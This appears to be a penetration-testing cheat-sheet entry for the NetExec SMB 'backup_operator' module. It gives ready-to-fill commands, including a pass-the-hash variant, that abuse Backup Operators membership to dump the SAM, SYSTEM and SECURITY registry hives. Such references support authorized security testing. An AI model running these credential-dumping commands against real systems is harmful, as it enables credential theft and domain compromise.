NetExec SMB Backup Operator

Abuse Backup Operators group membership to dump registry hives (SAM, SYSTEM, SECURITY)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Hash Dumping
Platform: linux
Requires: password
Protocols: SMB

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Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M backup_operator

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' -M backup_operator

Examples

nxc smb '192.168.1.100' -u 'backupuser' -p 'password' -M backup_operator

Tags

nxc smb backup-operator registry sam credential-dumping

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